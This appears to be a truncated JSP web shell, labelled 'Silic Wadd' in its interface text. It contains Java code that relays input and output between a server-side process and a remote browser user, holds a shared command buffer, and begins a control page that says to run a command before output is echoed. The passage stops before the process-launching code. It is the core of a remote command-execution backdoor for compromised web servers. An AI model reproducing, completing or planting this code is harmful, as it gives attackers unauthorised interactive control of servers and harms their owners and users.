<%@page pageEncoding="gbk"%> <%@page import="java.io.*"%> <%! public static boolean isEmpty(String s) { return s == null || s.trim().length() == 0; } public static String convert(String s) throws Exception { if (isEmpty(s)) return ""; return new String(s.getBytes("iso-8859-1")); } static String cmd = "first"; static Process pro = null; class StreamConnector extends Thread { private InputStream is; private OutputStream os; private String name; public StreamConnector( InputStream is, OutputStream os ,String name){ this.is = is; this.os = os; this.name = name; } public void run(){ BufferedReader in = null; BufferedWriter out = null; try{ in = new BufferedReader( new InputStreamReader(this.is)); out = new BufferedWriter( new OutputStreamWriter(this.os)); char buffer[] = new char[128]; if(this.name.equals("exeRclientO")) { //从EXE读向客户端写 int length = 0; while((length = in.read( buffer, 0, buffer.length ))>0){ String str = new String(buffer, 0, length); str = str.replace("&","&").replace("<","<").replace(">",">"); str = str.replace(""+(char)13+(char)10,"
"); str = str.replace("\n","
"); out.write(str.toCharArray(), 0, str.length()); out.flush(); } } else { //从客户端读向EXE写。 while(true) { while(cmd == null) { Thread.sleep(500); } if (cmd.equals("first")) { cmd = null; continue; } cmd = cmd + (char)10; char[] arr = cmd.toCharArray(); out.write(arr,0,arr.length); out.flush(); cmd = null; } } } catch(Exception e){ } try{ if(in != null) in.close(); if(out != null) out.close(); } catch( Exception e ){ } } } %> <% String o = request.getParameter("o"); if (isEmpty(o)) o = "index"; else o = o.trim().toLowerCase(); if (o.equals("index")) { %> Silic Wadd
IE交互后需要先执行命令才能看到回显

自动滚屏